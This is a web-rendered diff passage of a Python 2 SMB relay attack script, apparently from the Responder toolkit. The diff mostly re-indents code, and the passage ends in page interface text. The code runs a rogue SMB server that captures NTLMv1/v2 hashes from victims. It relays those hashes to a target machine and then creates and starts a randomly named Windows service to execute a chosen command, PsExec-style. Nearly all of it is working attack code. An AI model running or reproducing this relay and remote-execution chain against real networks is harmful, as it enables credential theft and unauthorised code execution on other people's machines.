LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
if NthashLen >= 30:
|
||||
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
print "Username : ",Username
|
||||
print "Domain (if joined, if not then computer name) : ",Domain
|
||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||
if NthashLen == 24:
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
||||
NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
||||
print "Username : ",Username
|
||||
print "Domain (if joined, if not then computer name) : ",Domain
|
||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||
else:
|
||||
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
||||
pass
|
||||
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
#Detect if SMB auth was Anonymous
|
||||
def Is_Anonymous(data):
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
||||
return True
|
||||
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def ParseDomain(data):
|
||||
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
||||
@@ -175,71 +175,71 @@ def Parse_Nego_Dialect(data):
|
||||
var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
|
||||
test = tuple(var)
|
||||
if test[0] == "NT LM 0.12":
|
||||
return "\x00\x00"
|
||||
return "\x00\x00"
|
||||
if test[1] == "NT LM 0.12":
|
||||
return "\x01\x00"
|
||||
return "\x01\x00"
|
||||
if test[2] == "NT LM 0.12":
|
||||
return "\x02\x00"
|
||||
return "\x02\x00"
|
||||
if test[3] == "NT LM 0.12":
|
||||
return "\x03\x00"
|
||||
return "\x03\x00"
|
||||
if test[4] == "NT LM 0.12":
|
||||
return "\x04\x00"
|
||||
return "\x04\x00"
|
||||
if test[5] == "NT LM 0.12":
|
||||
return "\x05\x00"
|
||||
return "\x05\x00"
|
||||
if test[6] == "NT LM 0.12":
|
||||
return "\x06\x00"
|
||||
return "\x06\x00"
|
||||
if test[7] == "NT LM 0.12":
|
||||
return "\x07\x00"
|
||||
return "\x07\x00"
|
||||
if test[8] == "NT LM 0.12":
|
||||
return "\x08\x00"
|
||||
return "\x08\x00"
|
||||
if test[9] == "NT LM 0.12":
|
||||
return "\x09\x00"
|
||||
return "\x09\x00"
|
||||
if test[10] == "NT LM 0.12":
|
||||
return "\x0a\x00"
|
||||
return "\x0a\x00"
|
||||
|
||||
def SmbRogueSrv139(key,Target,DomainMachineName):
|
||||
s = socket(AF_INET,SOCK_STREAM)
|
||||
s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
|
||||
s.settimeout(30)
|
||||
try:
|
||||
s.bind(('0.0.0.0', 139))
|
||||
s.listen(0)
|
||||
conn, addr = s.accept()
|
||||
s.bind(('0.0.0.0', 139))
|
||||
s.listen(0)
|
||||
conn, addr = s.accept()
|
||||
except error, msg:
|
||||
if "Address already in use" in msg:
|
||||
print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
|
||||
|
||||
if "Address already in use" in msg:
|
||||
print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
|
||||
|
||||
try:
|
||||
while True:
|
||||
data = conn.recv(1024)
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
buffer0 = "\x82\x00\x00\x00"
|
||||
conn.send(buffer0)
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
|
||||
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
else:
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
Credz = ParseHash(data,addr[0],Target)
|
||||
return Credz
|
||||
while True:
|
||||
data = conn.recv(1024)
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
buffer0 = "\x82\x00\x00\x00"
|
||||
conn.send(buffer0)
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
|
||||
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
else:
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
Credz = ParseHash(data,addr[0],Target)
|
||||
return Credz
|
||||
except:
|
||||
return None
|
||||
return None
|
||||
|
||||
def RunRelay(host, Command,Domain):
|
||||
Target = host
|
||||
@@ -257,67 +257,67 @@ def RunRelay(host, Command,Domain):
|
||||
Key = ParseAnswerKey(data,host)
|
||||
DomainMachineName = ParseDomain(data)
|
||||
if data[8:10] == "\x72\x00":
|
||||
try:
|
||||
a = SmbRogueSrv139(Key,Target,DomainMachineName)
|
||||
if a is not None:
|
||||
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
|
||||
if Domain == None:
|
||||
Domain = OriginalDomain
|
||||
if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
|
||||
pass
|
||||
else:
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
|
||||
t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
except:
|
||||
raise
|
||||
a = None
|
||||
try:
|
||||
a = SmbRogueSrv139(Key,Target,DomainMachineName)
|
||||
if a is not None:
|
||||
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
|
||||
if Domain == None:
|
||||
Domain = OriginalDomain
|
||||
if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
|
||||
pass
|
||||
else:
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
|
||||
t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
except:
|
||||
raise
|
||||
a = None
|
||||
if data[8:10] == "\x73\x6d":
|
||||
print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
|
||||
Logs.info(CLIENTIP+":"+Username)
|
||||
print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
|
||||
Logs.info(CLIENTIP+":"+Username)
|
||||
if data[8:10] == "\x73\x0d":
|
||||
print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
|
||||
Logs.info(CLIENTIP+":"+Username)
|
||||
## NtCreateAndx
|
||||
print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
|
||||
Logs.info(CLIENTIP+":"+Username)
|
||||
## NtCreateAndx
|
||||
if data[8:10] == "\x73\x00":
|
||||
print "[+] Authenticated, trying to PSexec on target !"
|
||||
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBNTCreateData()
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## Fail Handling.
|
||||
print "[+] Authenticated, trying to PSexec on target !"
|
||||
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBNTCreateData()
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## Fail Handling.
|
||||
if data[8:10] == "\xa2\x22":
|
||||
print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
|
||||
## DCE/RPC Write.
|
||||
print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
|
||||
## DCE/RPC Write.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
x = SMBDCEData()
|
||||
x.calculate()
|
||||
f = data[42:44]
|
||||
t = SMBWriteData(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLOpenManagerW.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
x = SMBDCEData()
|
||||
x.calculate()
|
||||
f = data[42:44]
|
||||
t = SMBWriteData(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLOpenManagerW.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
|
||||
w.calculate()
|
||||
@@ -326,118 +326,118 @@ def RunRelay(host, Command,Domain):
|
||||
t = SMBWriteData(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLCreateService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
|
||||
print "[+] Creating service"
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
ContextHandler = data[88:108]
|
||||
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
||||
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
||||
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
|
||||
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLOpenService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to create the service"
|
||||
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLCreateService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
|
||||
print "[+] Creating service"
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
ContextHandler = data[88:108]
|
||||
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
||||
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
||||
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
|
||||
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLStartService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to open the service"
|
||||
ContextHandler = data[88:108]
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
|
||||
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x2e\x00":
|
||||
print "[+] Command successful !"
|
||||
Logs.info('Command successful:')
|
||||
Logs.info(Target+","+Username+','+CMD)
|
||||
return True
|
||||
if data[8:10] != "\x2e\x00":
|
||||
return False
|
||||
## DCE/RPC SVCCTLOpenService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to create the service"
|
||||
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLStartService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to open the service"
|
||||
ContextHandler = data[88:108]
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
|
||||
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x2e\x00":
|
||||
print "[+] Command successful !"
|
||||
Logs.info('Command successful:')
|
||||
Logs.info(Target+","+Username+','+CMD)
|
||||
return True
|
||||
if data[8:10] != "\x2e\x00":
|
||||
return False
|
||||
|
||||
|
||||
def RunInloop(Target,Command,Domain):
|
||||
try:
|
||||
while True:
|
||||
worker = RunRelay(Target,Command,Domain)
|
||||
except:
|
||||
raise
|
||||
try:
|
||||
while True:
|
||||
worker = RunRelay(Target,Command,Domain)
|
||||
except:
|
||||
raise
|
||||
|
||||
|
||||
def main():
|
||||
try:
|
||||
thread.start_new(RunInloop,(Target,Command,Domain))
|
||||
except KeyboardInterrupt:
|
||||
exit()
|
||||
try:
|
||||
thread.start_new(RunInloop,(Target,Command,Domain))
|
||||
except KeyboardInterrupt:
|
||||
exit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
@@ -445,4 +445,3 @@ if __name__ == '__main__':
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
raw_input()
|
||||
|
||||
|
||||
Reference in New Issue
Block a user